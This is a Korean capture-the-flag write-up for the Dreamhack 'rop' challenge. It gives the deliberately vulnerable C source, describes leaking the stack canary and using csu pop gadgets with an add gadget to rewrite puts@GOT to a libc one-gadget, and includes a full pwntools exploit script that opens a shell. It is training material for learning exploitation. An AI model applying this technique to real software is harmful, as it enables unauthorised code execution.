Wargame
[Dreamhack] rop
_daeseong_
2025. 2. 3. 21:33
분석
[소스 코드]
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
소스 보면 사실 별거 없다.
2번 BOF 주는데 첫 번째는 카나리릭.
두 번째는 ROP 하면 된다.
익스플로잇
root@DAE:.../ropp# rp-lin -f rop -r 2 | grep add
0x4006d8: add [rbp-0x3D], ebx ; nop [rax+rax+0x00] ; rep ret ; (1 found)
대부분에 바이너리에는 위 가젯이 존재한다.
csu 함수가 있으면 위 가젯을 통해서 확정으로 AAW가 가능하다.
.text:000000000040084A pop rbx
.text:000000000040084B pop rbp
.text:000000000040084C pop r12
.text:000000000040084E pop r13
.text:0000000000400850 pop r14
.text:0000000000400852 pop r15
.text:0000000000400854 retn
세팅하고 add 가젯을 호출하면 puts_got가 원가젯으로 바뀌게 된다.
puts plt를 호출하면 원가젯이 호출된다.
from pwn import *
#p = process("rop")
p = remote("localhost",7182)
e = ELF("rop")
libc = ELF("libc.so.6")
# 0x4006d8: add [rbp-0x3D], ebx ; nop [rax+rax+0x00] ; rep ret ; (1 found)
gadget = 0x4006D8
# .text:000000000040084A pop rbx
# .text:000000000040084B pop rbp
# .text:000000000040084C pop r12
# .text:000000000040084E pop r13
# .text:0000000000400850 pop r14
# .text:0000000000400852 pop r15
csu_pop = 0x40084A
og = 0xebd52
payload = b"B"*(0x38+1)
p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(p.recvline()[:-2].rjust(8, b"\x00"))
success(f"canary : {hex(canary)}")
payload = b"A"*0x38 + p64(canary) + p64(0)
payload += p64(csu_pop)
payload += flat(
p64(og-libc.sym['puts']),
p64(e.got['puts']+0x3D),
p64(0)*4,
)
payload += p64(gadget)
payload += p64(e.plt['puts'])
p.sendafter(b"Buf: ", payload)
p.interactive()